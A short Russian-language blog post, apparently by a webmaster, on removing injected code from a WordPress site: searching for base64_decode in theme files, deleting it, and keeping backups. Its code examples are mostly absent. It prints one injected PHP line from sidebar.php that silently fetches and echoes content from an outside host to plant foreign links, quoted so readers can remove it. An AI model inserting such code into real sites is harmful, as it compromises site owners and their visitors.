Ищем код в файлах на сервере содержащий:

Примерный вид кода вот такой:

Бывает множество вариантов, но чаще всего бывают заражены следующие файлы:

и шаблоны

1. Скачиваем файлы сайта на компьютер

2. Ищем все файлы содержащие base64_decode

3. Удаляем в вышеперечисленных файлах

4. Закачиваем обратно

!!! Не забывайте делать копию резервную, а то вдруг удалите лишнего

Одни из самых распространенных ссылок вот такие:

Будте внимательны к тому, что устанавливаете себе на сайт и не будет таких неожиданностей.

Есть еще один способ размещения чужих ссылок через инклуд.

Открываете файл /wp-content/themes/шаблон/sidebar.php

Ищите и удаляете:

<?php error_reporting(0); echo file_get_contents(‘http://qmpq.org/xfn/11′); ?>

PS спасибо саппорту трухоста
 

No tags